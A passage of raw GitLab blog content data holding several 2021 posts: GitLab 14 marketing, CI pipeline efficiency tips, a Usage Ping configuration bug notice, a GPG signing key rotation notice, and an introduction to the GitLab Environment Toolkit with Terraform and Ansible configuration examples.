with out of the box measurement and visualization of operational metrics, including DORA metrics, that have come to define DevOps maturity. With that visibility comes confidence in the ability to drive both team performance and competitive advantage. \n\nGitLab 14 also takes the key next step toward actionability, with an array of customizable Value Stream Analytics to optimize workflows. Constituent analytics like mean time to merge can uncover bottlenecks such as dysfunction in code review, allowing management to identify the root causes of slowdowns in the DevOps lifecycle, and enabling IT leaders to align with business priorities.\n\n\n## Built-in security\nSecurity without sacrifice – the promise of [DevSecOps](/topics/devsecops/) – is realized with built-in security for platform-driven alignment that decreases exposure, while keeping projects on-time and on-budget. In a world where security is everyone’s responsibility, automating processes and policies gives developers and security pros the information they need to meet this responsibility.  \n\nEnforcing security on every commit is a matter of course in GitLab 14’s CI/CD, providing real-time feedback as development is happening. A Semgrep analyzer for application security testing offers access to a global rule registry and customization for policy requirements. Acquisitions of Fuzzit and Peach Tech, and GitLab’s new proprietary browser-based DAST crawler, test modern APIs and Single Page Applications (SPAs) demonstrating innovation to meet requirements of modern DevOps. New vulnerability management capabilities increase visibility, providing the controls and observability needed to protect the software factory and its deliverables.\n\n\n## Everyone can contribute\nGitLab 14 has been built by the company and the community together to advance global adoption of modern DevOps. \n\nThanks to GitLab’s open core model, more than 10,000 merge requests from the wider community have been merged into the product since January 2016. The wider community contributes alongside more than 1,300 GitLab team members, all working remotely from 68 countries. GitLab believes in a world where everyone can contribute.\n\nGitLab has more than 30 million estimated registered users, from startups to global enterprises, including Ticketmaster, Jaguar Land Rover, Nasdaq, Dish Network, Comcast, and [more who have shared their stories](/customers/), and who trust GitLab to deliver great software, faster.\n",[4103,676],{"slug":18110,"featured":6,"template":678},"gitlab-14-modern-devops","content:en-us:blog:gitlab-14-modern-devops.yml","Gitlab 14 Modern Devops","en-us/blog/gitlab-14-modern-devops.yml","en-us/blog/gitlab-14-modern-devops",{"_path":18116,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":18117,"content":18123,"config":18128,"_id":18130,"_type":16,"title":18131,"_source":17,"_file":18132,"_stem":18133,"_extension":20},"/en-us/blog/how-to-become-more-productive-with-gitlab-ci",{"title":18118,"description":18119,"ogTitle":18118,"ogDescription":18119,"noIndex":6,"ogImage":18120,"ogUrl":18121,"ogSiteName":1180,"ogType":1181,"canonicalUrls":18121,"schema":18122},"How to become more productive with Gitlab CI","Explore some CI/CD strategies that can make your team more efficient and productive.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749667358/Blog/Hero%20Images/gitlab-productivity.jpg","https://about.gitlab.com/blog/how-to-become-more-productive-with-gitlab-ci","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to become more productive with Gitlab CI\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Veethika Mishra\"}],\n        \"datePublished\": \"2021-06-21\",\n      }",{"title":18118,"description":18119,"authors":18124,"heroImage":18120,"date":18125,"body":18126,"category":734,"tags":18127},[5114],"2021-06-21","\nCI/CD pipelines are the preeminent solution to mitigate potential risks while integrating code changes into the repository. CI/CD pipelines help isolate the impact of potential errors, making it easier to fix them. Top that with a tool that provides effective visibility into the running tasks and there you have a recipe for success.\n\nSince the primary purpose of CI/CD pipelines is to speed up the development process and provide value to the end user faster, there's always room to make the process more efficient. This blog post unpacks some strategies that can help you get the most out of your pipeline definition in [GitLab CI](/solutions/continuous-integration/).\n\n## How Directed Acyclic Graphs (DAG) enable concurrent pipelines\n\n![By using Needs keyword you can define dependencies for jobs that need to be used from previous stages.](https://about.gitlab.com/images/blogimages/dag-explained.jpeg)\nBy using the \"Needs\" keyword you can define dependencies for jobs that need to be used from previous stages.\n{: .note.text-center}\n\nIn a [basic-pipeline](https://docs.gitlab.com/ee/ci/pipelines/pipeline_architectures.html#basic-pipelines) structure, all the jobs in a particular stage run concurrently and the jobs in the subsequent stage have to wait on those to finish to get started. This continues for all the stages.\n\nIn the image above, the first job in the second stage only depends on the first two job in the first stage to get started. But with the basic pipeline order in place, it has to wait for all three jobs in the first stage to complete before it can start executing, which slows down the overall pipeline considerably. However, by using `needs:` keywords, you can define a direct dependency for the jobs and they would only have to wait on the job they depend on to get started. By using the [DAG strategy](https://docs.gitlab.com/ee/ci/directed_acyclic_graph/), you could shed out a few minutes from the processes for a certain project, thereby increasing the pipeline execution speed and bringing down the CI minutes consumption.\n\nBy using `needs: []` you can make the job in any stage run immediately, as it doesn't have to wait on any other job to finish.\n\n## Why parallel jobs increase productivity\n\nNot all the jobs in a pipeline have an equal run-time. While some may take just a few seconds, some take much longer to finish. When there are many team members waiting on a running pipeline to finish to be able to make a contribution to the project, the productivity of the team takes a hit.\n\nGitLab provides a method to make clones of a job and run them in parallel for faster execution using the `parallel:` keyword. While [parallel jobs](https://docs.gitlab.com/ee/ci/yaml/#parallel) may not help in reducing the consumption of [CI minutes](/pricing/faq-compute-credit/), they definitely help increase work productivity.\n\n## Break down big pipelines with parallel matrix Jobs\n\nBefore the release of [parallel matrix jobs](https://docs.gitlab.com/ee/ci/yaml/#parallel-matrix-jobs), in order to run multiple instances of a job with different variable values, the jobs had to be manually defined in the `.gitlab-ci-yml` like this:\n\n```yaml\n.run-test:\n  script: run-test $PLATFORM\n  stage: test\n\ntest-win:\n  extends: .run-test\n  variables:\n    - PLATFORM: windows\ntest-mac:\n  extends: .run-test\n  variables:\n    - PLATFORM: mac\ntest-linux:\n  extends: .run-test\n  variables:\n    - PLATFORM: linux\n```\n\nParallel matrix jobs were released with GitLab 13.3 and allow you to create jobs at runtime based on specified variables. Let's say there is a need to run multiple instances a job with different variables values for each instance — with a combination of `parallel:` and `matrix:` you accomplish just that.\n\n```yaml\ntest:\n  stage: test\n  script: run-test $PLATFORM\n  parallel:\n    matrix:\n      - PLATFORM: [windows, mac, linux]\n```\n\nBy using `parallel:` and `matrix:`, big pipelines can be broken down into manageable parts for efficient maintainance.\n\n## Reduce the risk of merge conflicts with parent/child pipelines\n\n![Parent-child pipelines can include external YAML files in you configuration](https://about.gitlab.com/images/blogimages/parent-child-explained.jpeg)\nThe parent pipeline generates a child pipeline via the trigger:include keywords.\n{: .note.text-center}\n\nFor better management of dependencies, many organizations prefer a mono-repo setup for their projects. But mono-repos have a flip side too. If a repository hosts a large number of projects and a single pipeline definition is used to trigger different automated processes for different components, the pipeline performance is negatively affected. By using [parent-child pipelines](https://docs.gitlab.com/ee/ci/pipelines/downstream_pipelines.html) you can design more efficient pipelines, since you can have multiple child-pipelines that run in parallel. The keyword `include:` is used to include external YAML files in your CI/CD configuration for this purpose. In the image above a pipeline (the parent) generates a child pipeline via the trigger:include keywords.\n\nThis approach also reduces the chances of merge conflicts from happening, as it allows to only edit a section of the pipeline if necessary.\n\n## Merge trains help the target branch stay stable\n\nWhen there's a lot of merge requests flowing into a project, there is a risk of merge conflicts. [Merge trains](https://docs.gitlab.com/ee/ci/pipelines/merge_trains.html) is a powerful feature by GitLab that allows users to automatically merge a series of (queued) merge requests without breaking the target branch. Using this feature, you can add an MR to the train, and it would take care of it until it is merged.\n\n## Use multiple caches in the same job\n\nStarting 13.11, GitLab CI/CD provides the ability to [configure multiple cache keys in a single job](/releases/2021/04/22/gitlab-13-11-released/#use-multiple-caches-in-the-same-job) which will help you increase your pipeline performance. This functionality could help you save precious development time when the jobs are running.\n\n## How can an efficient pipeline save you money?\n\nBy using CI/CD strategies that ensure safe merging of new changes and a green master, organizations can worry less about unanticipated downtimes caused by infrastructural failures and code conflicts.\n\nWith faster pipelines, developers end up spending lesser time in maintenance and find time and space to bring in more thoughtfulness and creativity in their work, leading to improvements in code quality and the company atmosphere and morale.\n\nIf you are looking to bring down the cost of running your CI/CD pipelines for a large project, look up the [Artifact and cache settings](https://docs.gitlab.com/ee/ci/runners/configure_runners.html#artifact-and-cache-settings) and [Optimizing GitLab for large repositories](https://docs.gitlab.com/ee/ci/large_repositories/) sections in the documentation.\n",[1384,1385,754,676],{"slug":18129,"featured":6,"template":678},"how-to-become-more-productive-with-gitlab-ci","content:en-us:blog:how-to-become-more-productive-with-gitlab-ci.yml","How To Become More Productive With Gitlab Ci","en-us/blog/how-to-become-more-productive-with-gitlab-ci.yml","en-us/blog/how-to-become-more-productive-with-gitlab-ci",{"_path":18135,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":18136,"content":18141,"config":18145,"_id":18147,"_type":16,"title":18148,"_source":17,"_file":18149,"_stem":18150,"_extension":20},"/en-us/blog/usage-ping-configuration-bug-for-self-managed-instances",{"title":18137,"description":18138,"ogTitle":18137,"ogDescription":18138,"noIndex":6,"ogImage":12013,"ogUrl":18139,"ogSiteName":1180,"ogType":1181,"canonicalUrls":18139,"schema":18140},"Usage Ping configuration bug for self-managed instances","Patch was released in 13.12.4","https://about.gitlab.com/blog/usage-ping-configuration-bug-for-self-managed-instances","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Usage Ping configuration bug for self-managed instances\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2021-06-21\",\n      }",{"title":18137,"description":18138,"authors":18142,"heroImage":12013,"date":18125,"body":18143,"category":736,"tags":18144},[711],"\nWe recently discovered a Usage Ping  configuration bug for self-managed instances and have since published a [patch release](/releases/2021/06/14/gitlab-13-12-4-released/) to fix the bug. The issue affects the ability to [disable Usage Ping](https://docs.gitlab.com/ee/development/usage_ping/#disable-usage-ping) for self-managed GitLab via text configuration files, resulting in the collection and transmission of Usage Ping events from the instance. This bug affects any instance running GitLab version 9.3 to version 13.12.3, and was patched in [13.12.4](/releases/2021/06/14/gitlab-13-12-4-released/). \n\n## What does this mean for existing users?\nThis issue does not affect customers who have disabled Usage Ping via the [user interface](https://docs.gitlab.com/ee/development/usage_ping/#disable-usage-ping) or any users of our SaaS product.\n\nYou can check your instance configuration settings to see if this issue may have affected you. We’ve published more detailed instructions [here](https://docs.gitlab.com/ee/development/usage_ping/index.html#cannot-disable-usage-ping-using-the-configuration-file).\n\n## What should I do?\n\nSince we do not collect any configuration data from your instance, we have no way to detect if you unintentionally shared data with GitLab. Out of an abundance of caution, we ask that you fill out [this form](https://support.gitlab.io/usage-ping-request/) if you suspect that Usage Ping data was shared after taking steps to opt-out in your GitLab configuration file. We will purge data from our systems and follow up with confirmation.\n\nPlease share your questions and feedback with us on the [community forum](https://forum.gitlab.com/t/usage-ping-configuration-bug-for-self-managed-instances/).\n",[736,674],{"slug":18146,"featured":6,"template":678},"usage-ping-configuration-bug-for-self-managed-instances","content:en-us:blog:usage-ping-configuration-bug-for-self-managed-instances.yml","Usage Ping Configuration Bug For Self Managed Instances","en-us/blog/usage-ping-configuration-bug-for-self-managed-instances.yml","en-us/blog/usage-ping-configuration-bug-for-self-managed-instances",{"_path":18152,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":18153,"content":18158,"config":18164,"_id":18166,"_type":16,"title":18167,"_source":17,"_file":18168,"_stem":18169,"_extension":20},"/en-us/blog/gpg-key-used-to-sign-gitlab-runner-packages-rotated",{"title":18154,"description":18155,"ogTitle":18154,"ogDescription":18155,"noIndex":6,"ogImage":17364,"ogUrl":18156,"ogSiteName":1180,"ogType":1181,"canonicalUrls":18156,"schema":18157},"The GPG key used to sign GitLab Runner packages has been rotated","Out of an abundance of caution we’ve rotated the impacted keys and tokens.","https://about.gitlab.com/blog/gpg-key-used-to-sign-gitlab-runner-packages-rotated","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"The GPG key used to sign GitLab Runner packages has been rotated\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Elliot Rushton\"}],\n        \"datePublished\": \"2021-06-16\",\n      }",{"title":18154,"description":18155,"authors":18159,"heroImage":17364,"date":18161,"body":18162,"category":736,"tags":18163},[18160],"Elliot Rushton","2021-06-16","\n\nGitLab uses a GPG key to sign official GitLab Runner packages. We recently became aware of an instance where this key and other tokens used to distribute official GitLab Runner packages and binaries were not secured according to GitLab’s security policies. \n\nWe have not found any evidence of unauthorized modification of the packages or access to the services storing them. Our team has audited and investigated integrity hashes, bucket logs and versioning, and pipeline history and concluded that the unauthorized modification of any packages is exceedingly unlikely.\n\n**Out of an abundance of caution, the GPG key used for release signing and verification has been rotated along with all other tokens that were improperly secured.**\n\n***If you use GitLab.com shared runners, this does not impact you.***\n\nAs of **June 8, 2021** the old key used for the package signing, with the fingerprint `3018 3AC2 C4E2 3A40 9EFB  E705 9CE4 5ABC 8807 21D4`, has been revoked. The GPG fingerprint of the new key is `09E5 7083 F34C CA94 D541 BC58 A674 BF81 35DF A027`. Please check the [https://docs.gitlab.com/runner/install/linux-repository.html#gpg-signatures-for-package-installation](https://docs.gitlab.com/runner/install/linux-repository.html#gpg-signatures-for-package-installation) for more details on the key.\n\n**All unsecured keys and tokens have been revoked or retired and updated with new ones.**\n\n## How does this affect existing users and what action is needed?\n\n**Users that do not use package signature verification (which is the default setup in most DEB/RPM systems) will be not affected by this key rotation.**\n\n**Users who employ the package signature verification for either DEB or RPM packages should immediately update the key to download the revocation certificate.** Users can find configuration details and links to GPG keys at [https://docs.gitlab.com/runner/install/linux-repository.html#gpg-signatures-for-package-installation](https://docs.gitlab.com/runner/install/linux-repository.html#gpg-signatures-for-package-installation). All packages and `release.sha256` files starting from **June 13, 2021** will be signed with the new key.\n\nThe old key should be treated as compromised. While existing signatures on GitLab Runner’s packages or `release.sha256` files will still be valid, it’s recommended to not trust them. We have updated the old packages and our [S3 releases](/blog/deploy-aws/) by signing all required files with the new key, so that they can be trusted again.\n\n\n## What does this mean for *new* users?\n\n**This key rotation does not affect new users.**\n\nHowever, users who want to start using package signature verification should confirm that they have downloaded the new key. The verification key is available at [https://docs.gitlab.com/runner/install/linux-repository.html#gpg-signatures-for-package-installation](https://docs.gitlab.com/runner/install/linux-repository.html#gpg-signatures-for-package-installation). \n\n## If you have questions\n\nIf you have concerns regarding this incident that are not addressed via this communication, kindly reach out to the GitLab Support team via email at `incident-response@gitlab.com` with your questions or concerns.\n",[674],{"slug":18165,"featured":6,"template":678},"gpg-key-used-to-sign-gitlab-runner-packages-rotated","content:en-us:blog:gpg-key-used-to-sign-gitlab-runner-packages-rotated.yml","Gpg Key Used To Sign Gitlab Runner Packages Rotated","en-us/blog/gpg-key-used-to-sign-gitlab-runner-packages-rotated.yml","en-us/blog/gpg-key-used-to-sign-gitlab-runner-packages-rotated",{"_path":18171,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":18172,"content":18178,"config":18183,"_id":18185,"_type":16,"title":18186,"_source":17,"_file":18187,"_stem":18188,"_extension":20},"/en-us/blog/why-we-are-building-the-gitlab-environment-toolkit-to-help-deploy-gitlab-at-scale",{"title":18173,"description":18174,"ogTitle":18173,"ogDescription":18174,"noIndex":6,"ogImage":18175,"ogUrl":18176,"ogSiteName":1180,"ogType":1181,"canonicalUrls":18176,"schema":18177},"The next step in performance testing? The GitLab Environment Toolkit","Learn how we're building a new toolkit to help with performance testing and deploying GitLab at scale.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749682030/Blog/Hero%20Images/gitlab_environment_toolkit_scale.jpg","https://about.gitlab.com/blog/why-we-are-building-the-gitlab-environment-toolkit-to-help-deploy-gitlab-at-scale","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"The next step in performance testing? The GitLab Environment Toolkit\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Grant Young\"}],\n        \"datePublished\": \"2021-06-15\",\n      }",{"title":18173,"description":18174,"authors":18179,"heroImage":18175,"date":18180,"body":18181,"category":734,"tags":18182},[4300],"2021-06-15","\n\nLast year I wrote about how the [Quality Engineering Enablement team](/handbook/engineering/quality/) was [building up the performance testing of GitLab](/blog/how-were-building-up-performance-testing-of-gitlab/) with the [GitLab Performance Tool (GPT)](https://gitlab.com/gitlab-org/quality/performance). Last year, the biggest challenge with performance testing wasn't so much the testing but rather setting up the right large scale GitLab environments to test against.\n\nLike any server application, deploying at scale is challenging. That's why we built another toolkit that automates the deployment of GitLab at scale: The [GitLab Environment Toolkit (GET)](https://gitlab.com/gitlab-org/quality/gitlab-environment-toolkit).\n\n![GitLab Environment Toolkit logo](https://about.gitlab.com/images/blogimages/gitlab-environment-toolkit/gitlab_environment_toolkit_logo.png){: .center}\nGitLab Environment Toolkit logo\n{: .note.text-center}\n\nInternally called the \"Performance Environment Builder\" (PEB), GET grew alongside GPT as we continued to expand our performance testing efforts. Over time we built a toolkit that was quite capable in its own right of deploying GitLab at scale, which is why it started to gain attention internally from other teams and then even from some customers. Soon we realized we built something worth sharing.\n\nThe Quality Engineering Enablement team has been working hard over the last few months to polish the toolkit for broader use and we're happy to share that the first version of [GET v1.0.0](https://gitlab.com/gitlab-org/quality/gitlab-environment-toolkit/-/releases/v1.0.0) has been released!\n\nGET is a collection of well-known open source provisioning and configuration tools with a simple focused purpose - to deploy [GitLab Omnibus](https://gitlab.com/gitlab-org/omnibus-gitlab) and [GitLab Helm Charts](https://docs.gitlab.com/charts/) at scale, as defined by our [Reference Architectures](https://docs.gitlab.com/ee/administration/reference_architectures) and [Cloud Native Hybrid Reference Architectures](https://docs.gitlab.com/ee/administration/reference_architectures/10k_users.html#cloud-native-hybrid-reference-architecture-with-helm-charts-alternative). Built with Terraform and Ansible, GET supports the provisioning and configuring of machines and other related infrastructure and contains the following features:\n\n - Support for deploying all GitLab Reference Architectures sizes dynamically from 1000 to 50,000\n - Support for deploying Cloud Native Hybrid Reference Architectures (GCP only at this time)\n - GCP, AWS, and Azure cloud provider support\n - Upgrades\n - Release and nightly Omnibus builds support\n - Advanced search with Elasticsearch\n - Geo support\n - Zero Downtime Upgrades support\n - Built-in load balancing via HAProxy and monitoring (Prometheus, Grafana) support\n\nWe're just getting started with GET, and [continue to add more support for features and different environment setups](https://gitlab.com/gitlab-org/quality/gitlab-environment-toolkit/-/boards?group_by=epic). Now that GET [v1.0.0](https://gitlab.com/gitlab-org/quality/gitlab-environment-toolkit/-/releases/v1.0.0) has been released, we're at a good place for customers to start trialing and evaluating GET. We do ask that you take into consideration the continuing expansion of capabilities, as well as limitations of the current version.\n\nRead on to learn about the the philosophy of GET and how it works.\n\n## The design principals of GET\n\nOur team has past experience with provisioning and configuration tools, so we've learned what does and does not work, which is why we try to stick to the following goals:\n\n- GET is [boring](https://handbook.gitlab.com/handbook/values/#boring-solutions): The word boring may look funny here but it's actually a [GitLab value](https://handbook.gitlab.com/handbook/values/). A boring solution essentially means to keep it simple. Provisioning and configuration solutions can get complicated **fast** with many common pitfalls, such as trying to support complex setups that come with a heavy maintenance cost. From the very beginning we've tried to avoid this, so GET essentially uses a standard Terraform and Ansible config that doesn't try to do anything fancy or complicated.\n- GET is *not* a replacement for [GitLab Omnibus](https://gitlab.com/gitlab-org/omnibus-gitlab) or the [Helm Charts](https://docs.gitlab.com/charts/): Truly some of the greatest \"magic\" in setting up GitLab is how much easier it's made Omnibus and the Helm Charts. Thanks to the incredible work by our Distribution teams, both of these install methods do a lot under the hood, and GET is not trying to replace these. In the same [boring](https://handbook.gitlab.com/handbook/values/#boring-solutions) vein, GET's purpose is simply to set up GitLab environments at scale by installing Omnibus or Helm in the right places (along with any other needed infrastructure to support).\n- GET is one for all and designed to work for all our recommended [GitLab Reference Architectures](https://docs.gitlab.com/ee/administration/reference_architectures/). Everything we do with GET has to be considered against this goal. It means we may not be able to support niche or overly complex set ups as this will lead to complex code and heavy maintenance costs. We do aim to support recommended customizations where appropriate.\n\nNext we look at how GET works at a high level, starting with provisioning with Terraform.\n\n## Provisioning the environment with Terraform\n\nThe first step to building an environment is to provision the machines and/or Kubernetes clusters that run GitLab. We undergo this process with the well-known provisioning tool, [Terraform](https://www.terraform.io/).\n\nNext, we've created multiple [Terraform modules](https://www.terraform.io/docs/language/modules/develop/index.html) in GET for each of the main big three cloud providers (GCP, AWS and Azure) that provision machines for you, according to the appropriate [reference architectures](https://docs.gitlab.com/ee/administration/reference_architectures/), along with the necessary supporting infrastructure, such as firewalls, load balancers, etc. We designed these modules to be as simple as possible and only require minimal configuration.\n\nFor more information on the entire Terraform configuration, [check out our docs](https://gitlab.com/gitlab-org/quality/gitlab-environment-toolkit/-/blob/master/docs/environment_provision.md). An example of one of the main config files is `environment.tf`, which defines how each component's nodes should be setup. Below is an example of how it is configured with GCP for a [10k reference architecture](https://docs.gitlab.com/ee/administration/reference_architectures/10k_users.html) environment:\n\n```tf\nmodule \"gitlab_ref_arch_gcp\" {\n  source = \"../../modules/gitlab_ref_arch_gcp\"\n\n  prefix = var.prefix\n  project = var.project\n\n  object_storage_buckets = [\"artifacts\", \"backups\", \"dependency-proxy\", \"lfs\", \"mr-diffs\", \"packages\", \"terraform-state\", \"uploads\"]\n\n  # 10k\n  consul_node_count = 3\n  consul_machine_type = \"n1-highcpu-2\"\n\n  elastic_node_count = 3\n  elastic_machine_type = \"n1-highcpu-16\"\n\n  gitaly_node_count = 3\n  gitaly_machine_type = \"n1-standard-16\"\n\n  praefect_node_count = 3\n  praefect_machine_type = \"n1-highcpu-2\"\n\n  praefect_postgres_node_count = 1\n  praefect_postgres_machine_type = \"n1-highcpu-2\"\n\n  gitlab_nfs_node_count = 1\n  gitlab_nfs_machine_type = \"n1-highcpu-4\"\n\n  gitlab_rails_node_count = 3\n  gitlab_rails_machine_type = \"n1-highcpu-32\"\n\n  haproxy_external_node_count = 1\n  haproxy_external_machine_type = \"n1-highcpu-2\"\n  haproxy_external_external_ips = [var.external_ip]\n  haproxy_internal_node_count = 1\n  haproxy_internal_machine_type = \"n1-highcpu-2\"\n\n  monitor_node_count = 1\n  monitor_machine_type = \"n1-highcpu-4\"\n\n  pgbouncer_node_count = 3\n  pgbouncer_machine_type = \"n1-highcpu-2\"\n\n  postgres_node_count = 3\n  postgres_machine_type = \"n1-standard-4\"\n\n  redis_cache_node_count = 3\n  redis_cache_machine_type = \"n1-standard-4\"\n  redis_sentinel_cache_node_count = 3\n  redis_sentinel_cache_machine_type = \"n1-standard-1\"\n  redis_persistent_node_count = 3\n  redis_persistent_machine_type = \"n1-standard-4\"\n  redis_sentinel_persistent_node_count = 3\n  redis_sentinel_persistent_machine_type = \"n1-standard-1\"\n\n  sidekiq_node_count = 4\n  sidekiq_machine_type = \"n1-standard-4\"\n}\n\noutput \"gitlab_ref_arch_gcp\" {\n  value = module.gitlab_ref_arch_gcp\n}\n````\n\nWith this environment and [two other small config files in place](https://gitlab.com/gitlab-org/quality/gitlab-environment-toolkit/-/blob/master/docs/environment_provision.md#2-setup-the-environments-config) Terraform can be run normally and work its magic. Below is a snippet of the output you'll see with GCP:\n\n```\n[...]\n\nmodule.gitlab_ref_arch_gcp.module.redis_sentinel_cache.google_compute_instance.gitlab[2]: Creating...\nmodule.gitlab_ref_arch_gcp.module.pgbouncer.google_compute_instance.gitlab[2]: Still creating... [10s elapsed]\nmodule.gitlab_ref_arch_gcp.module.pgbouncer.google_compute_instance.gitlab[0]: Still creating... [10s elapsed]\nmodule.gitlab_ref_arch_gcp.module.consul.google_compute_instance.gitlab[1]: Creation complete after 15s\nmodule.gitlab_ref_arch_gcp.module.redis_sentinel_cache.google_compute_instance.gitlab[1]: Creating...\nmodule.gitlab_ref_arch_gcp.module.gitlab_nfs.google_compute_instance.gitlab[0]: Creation complete after 25s\nmodule.gitlab_ref_arch_gcp.module.redis_persistent.google_compute_instance.gitlab[1]: Creating...\nmodule.gitlab_ref_arch_gcp.module.gitaly.google_compute_instance.gitlab[1]: Creation complete after 14s\nmodule.gitlab_ref_arch_gcp.module.redis_persistent.google_compute_instance.gitlab[2]: Creating...\nmodule.gitlab_ref_arch_gcp.module.gitaly.google_compute_instance.gitlab[0]: Creation complete after 15s\nmodule.gitlab_ref_arch_gcp.module.redis_persistent.google_compute_instance.gitlab[0]: Creating...\nmodule.gitlab_ref_arch_gcp.module.redis_sentinel_cache.google_compute_instance.gitlab[0]: Still creating... [10s elapsed]\nmodule.gitlab_ref_arch_gcp.module.pgbouncer.google_compute_instance.gitlab[1]: Creation complete after 15s\nmodule.gitlab_ref_arch_gcp.module.pgbouncer.google_compute_instance.gitlab[2]: Creation complete after 15s\nmodule.gitlab_ref_arch_gcp.module.pgbouncer.google_compute_instance.gitlab[0]: Creation complete after 15s\nmodule.gitlab_ref_arch_gcp.module.redis_sentinel_cache.google_compute_instance.gitlab[0]: Creation complete after 15s\nmodule.gitlab_ref_arch_gcp.module.gitaly.google_compute_instance.gitlab[2]: Still creating... [20s elapsed]\nmodule.gitlab_ref_arch_gcp.module.redis_sentinel_cache.google_compute_instance.gitlab[2]: Still creating... [10s elapsed]\nmodule.gitlab_ref_arch_gcp.module.redis_sentinel_cache.google_compute_instance.gitlab[1]: Still creating... [10s elapsed]\nmodule.gitlab_ref_arch_gcp.module.redis_persistent.google_compute_instance.gitlab[1]: Still creating... [10s elapsed]\nmodule.gitlab_ref_arch_gcp.module.redis_persistent.google_compute_instance.gitlab[2]: Still creating... [10s elapsed]\nmodule.gitlab_ref_arch_gcp.module.redis_persistent.google_compute_instance.gitlab[0]: Still creating... [10s elapsed]\nmodule.gitlab_ref_arch_gcp.module.gitaly.google_compute_instance.gitlab[2]: Creation complete after 25s\nmodule.gitlab_ref_arch_gcp.module.redis_sentinel_cache.google_compute_instance.gitlab[2]: Creation complete after 15s\nmodule.gitlab_ref_arch_gcp.module.redis_sentinel_cache.google_compute_instance.gitlab[1]: Creation complete after 15s\nmodule.gitlab_ref_arch_gcp.module.redis_persistent.google_compute_instance.gitlab[1]: Creation complete after 15s\nmodule.gitlab_ref_arch_gcp.module.redis_persistent.google_compute_instance.gitlab[0]: Creation complete after 15s\nmodule.gitlab_ref_arch_gcp.module.redis_persistent.google_compute_instance.gitlab[2]: Creation complete after 15s\nReleasing state lock. This may take a few moments...\n\nApply complete! Resources: 90 added, 0 changed, 0 destroyed.\n```\n\nOnce it's done, you should have a full set of machines for GitLab that can be configured with Ansible, which is what we'll look at next.\n\n## How to configure the environment with Ansible\n\nThe next step for setting up the environment is configuring [Ansible](https://www.ansible.com/). In a nutshell, this tool connects to each machine via SSH and runs tasks to configure GitLab.\n\nLike with Terraform, [we've created multiple roles](https://docs.ansible.com/ansible/latest/user_guide/playbooks_reuse_roles.html) and [Playbooks](https://docs.ansible.com/ansible/latest/user_guide/playbooks_intro.html) in GET that are designed to configure each component on the intended machine. Through Terraform, we apply labels to each machine that Ansible then tracks using its [dynamic inventory](https://docs.ansible.com/ansible/latest/user_guide/intro_dynamic_inventory.html) to define the purpose of each machine.\n\nA detailed breakdown of the configuration process is available in the [GET for Ansible docs](https://gitlab.com/gitlab-org/quality/gitlab-environment-toolkit/-/blob/master/docs/environment_provision.md). But, an example one of the main config files is `environment.tf`, which defines how the nodes of each component should be setup. Below is an example of how it looks with GCP for a [10k user reference architecture](https://docs.gitlab.com/ee/administration/reference_architectures/10k_users.html) environment:\n\nLike we did before with Terraform, we'll highlight one of the main config files, but you can see the full process in the [docs](https://gitlab.com/gitlab-org/quality/gitlab-environment-toolkit/-/blob/master/docs/environment_configure.md). The file is `vars.yml`, an inventory variable file for your environment that contains various parts of the config Ansible needs to perform the setup, along with key GitLab config:\n\n```yml\nall:\n  vars:\n    # Ansible Settings\n    ansible_user: \"\u003Cssh_username>\"\n    ansible_ssh_private_key_file: \"\u003Cprivate_ssh_key_path>\"\n\n    # Cloud Settings\n    cloud_provider: \"gcp\"\n    gcp_project: \"\u003Cgcp_project_id>\"\n    gcp_service_account_host_file: \"\u003Cgcp_service_account_host_file_path>\"\n\n    # General Settings\n    prefix: \"\u003Cenvironment_prefix>\"\n    external_url: \"\u003Cexternal_url>\"\n    gitlab_license_file: \"\u003Cgitlab_license_file_path>\"\n\n    # Object Storage Settings\n    gitlab_object_storage_artifacts_bucket: \"{{ prefix }}-artifacts\"\n    gitlab_object_storage_backups_bucket: \"{{ prefix }}-backups\"\n    gitlab_object_storage_dependency_proxy_bucket: \"{{ prefix }}-dependency-proxy\"\n    gitlab_object_storage_external_diffs_bucket: \"{{ prefix }}-mr-diffs\"\n    gitlab_object_storage_lfs_bucket: \"{{ prefix }}-lfs\"\n    gitlab_object_storage_packages_bucket: \"{{ prefix }}-packages\"\n    gitlab_object_storage_terraform_state_bucket: \"{{ prefix }}-terraform-state\"\n    gitlab_object_storage_uploads_bucket: \"{{ prefix }}-uploads\"\n\n    # Passwords / Secrets - Can also be set as Environment Variables via ansible.builtin.env\n    gitlab_root_password: \"\u003Cgitlab_root_password>\"\n    grafana_password: \"\u003Cgrafana_password>\"\n    postgres_password: \"\u003Cpostgres_password>\"\n    consul_database_password: \"\u003Cconsul_database_password>\"\n    gitaly_token: \"\u003Cgitaly_token>\"\n    pgbouncer_password: \"\u003Cpgbouncer_password>\"\n    redis_password: \"\u003Credis_password>\"\n    praefect_external_token: \"\u003Cpraefect_external_token>\"\n    praefect_internal_token: \"\u003Cpraefect_internal_token>\"\n    praefect_postgres_password: \"\u003Cpraefect_postgres_password>\"\n```\n\nWith the variable file and the [environment inventory configured](https://gitlab.com/gitlab-org/quality/gitlab-environment-toolkit/-/blob/master/docs/environment_configure.md#2-setup-the-environments-dynamic-inventory) Ansible can run normally. Here is a snippet of the output you'll see with GCP:\n\n```\n[...]\n\nTASK [gitlab-rails : Update Postgres primary IP and Port] **********************\nok: [gitlab-qa-10k-gitlab-rails-1]\nTASK [gitlab-rails : Setup GitLab deploy node config file with DB Migrations] ***\nchanged: [gitlab-qa-10k-gitlab-rails-1]\nTASK [gitlab-rails : Reconfigure GitLab deploy node] ***************************\nchanged: [gitlab-qa-10k-gitlab-rails-1]\nTASK [gitlab-rails : Setup all GitLab Rails config files] **********************\nchanged: 